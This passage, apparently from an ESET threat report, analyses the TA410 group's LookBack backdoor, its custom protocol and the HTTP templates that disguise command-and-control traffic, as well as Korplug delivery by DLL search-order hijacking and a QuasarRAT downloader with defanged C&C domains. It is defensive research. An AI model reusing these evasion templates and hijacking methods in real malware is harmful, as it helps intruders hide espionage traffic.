The LookBack backdoor has previously been described by Proofpoint; we are therefore providing a quick summary and our analysis of the custom network protocol.

Backdoor

In all samples we observed, the LookBack loader is a legitimate version of libcurl.dll with the curl_share_init (ordinal #52) export modified to load the SodomNormal communications module. This corroborates the observation by Proofpoint researchers. This module is embedded in the library’s resource section and encrypted with an algorithm similar to RC4. The encryption/decryption function, shown in Figure 20, always uses the same key.

Figure 20. Decompiled view of the function used to encrypt and decrypt the embedded module

The SodomNormal component tries to read configuration information from a sodom.ini file. This configuration file is encrypted using the just-described function and starts with the magic bytes 0xAF1324BC. If this file is unavailable or invalid, a hardcoded default configuration is used.

A unique victim ID is then generated from the victim’s CPUID, username, and IP address. This is sent to the server along with the computer’s name and the configuration data. The communications module then downloads the main backdoor module, named SodomMain, from the C&C server. Unfortunately, we couldn’t obtain this module.

Communication protocol

LookBack can communicate over HTTP or via its “normal protocol”. In either case, the data being transferred is the same.

LookBack’s normal protocol uses raw TCP sockets and a custom message format described in Table 4. This message is composed of eight header fields, followed by a body of variable length. The message body is encrypted with the function previously described for the SodomNormal resource in the loader (Figure 20). The encrypted data is then compressed with the deflate algorithm via the compress function of the statically linked zlib.

Table 4. LookBack message format

Table 5. LookBack message types

The HTTP protocol uses the message format detailed in the previous paragraph, but it adds a few extra steps to disguise its traffic as legitimate HTTP. It uses a pair of hardcoded templates, one for client requests and another for server responses. The fields required for HTTP, such as content length, address, and port number, are filled in with the correct values; useless data is used for the others.

For client requests, the messages are encoded with a modified hexadecimal algorithm that uses the encoding alphabet a-p instead of the conventional 0-9a-f. This provides some obfuscation and ensures that messages will not contain binary data or be obviously hex encoded, both of which could look suspicious in an application/x-www-form-urlencoded message. The request’s body is composed of this encoded value prefixed with the hardcoded string id=1&op=report&status=. Client request and server response templates are shown in Figure 21 and Figure 22 respectively, with the template fields in angle brackets.

POST <C&C address + port>/status.php?r=<epoch timestamp><random 16-bit int> HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-us
User-Agent: <return value of ObtainUserAgentString OR "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko">
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: <C&C url>
Content-Length: <content length>
Connection: Keep-Alive
Cache-Control: no-cache

id=1&op=report&status=<encoded LookBack message>

Figure 21. Template used for HTTP client requests

On the server side, the data described in the previous section is sent directly as binary data in the body with a header that purports that the data is a GIF image.

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: <current time> GMT
Last-Modified: <current time - 100 seconds> GMT
ETag: <3 random 16-bit ints>
Accept-Ranges: bytes
Content-Length: <content length>
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/gif

<LookBack message>

Figure 22. Template used for HTTP server responses

TA410 – JollyFrog

This third team uses off-the-shelf malware from the known malware families QuasarRAT and Korplug (aka PlugX). JollyFrog mostly aligns with what was described by Fortinet as APT10.

Korplug

Korplug, also known as PlugX, is a backdoor that has been used for years by many different cyberespionage groups. Despite being well known, it is still in use and we have observed TA410 using it as recently as in April 2021.

In the case of TA410, Korplug arrives as a RARSFX archive, generally named m.exe, containing three files:

• qrt.dll: A custom loader.
• qrtfix.exe: A legitimate signed application from F-Secure, vulnerable to DLL search-order hijacking.
• qrt.dll.usb: The Korplug shellcode.

The loader allocates memory using VirtualAlloc and copies the content of qrt.dll.usb there. Then it jumps right into the shellcode that will decompress and load the Korplug payload.

QuasarRAT

QuasarRAT is a full-featured backdoor freely available on GitHub. It is used by numerous threat actors who perform cyberespionage or cybercrime.

TA410 uses a custom downloader and a custom loader written in .NET, which are convenient for identifying their instances of QuasarRAT among all the noise created by other attackers.

Named sll.exe, this downloader is digitally signed with the certificate seen in Figure 23. The certificate is likely stolen and belongs to 北京和赢讯时科技有限公司 (translated: Beijing Heyingxunshi Technology Co., Ltd.) with thumbprint 850821D88A4475F0310F10FBA806353A4113D252. Although the certificate has now been revoked, it was still valid when this sample was signed on August 10^th, 2020.

Figure 23. Digital signature of the QuasarRAT downloader

This downloader simply downloads the loader and encrypted QuasarRAT payload from the hardcoded C&C server http://ffca.caibi379[.]com, at /rwjh/new/. This server was previously linked to FlowCloud (FlowingFrog). The loader is named PresentationCache.exe and is protected with DNGuard, a commercial .NET packer. It is also signed with the same certificate as the downloader. It decrypts and loads the final QuasarRAT payload, which uses cahe.microsofts[.]org as its C&C server.

Conclusion

TA410 is a cyberespionage umbrella targeting high-profile entities such as governments and universities worldwide. ESET is revealing its latest findings about this group, including results from ongoing  research, during Botconf 2022.

Initial access to targets is obtained by exploiting vulnerable internet-facing applications such as Microsoft Exchange, or by sending spearphishing emails with malicious attachments such as RTF documents created via the Royal Road builder. Even though the JollyFrog team uses generic tools, FlowingFrog and LookingFrog have access to complex implants such as FlowCloud and LookBack. YARA and Snort rules for these implants are available in ESET's GitHub repository.

IoCs

Files

Certificates

Network

MITRE ATT&CK techniques

This table was built using version 9 of the MITRE ATT&CK framework.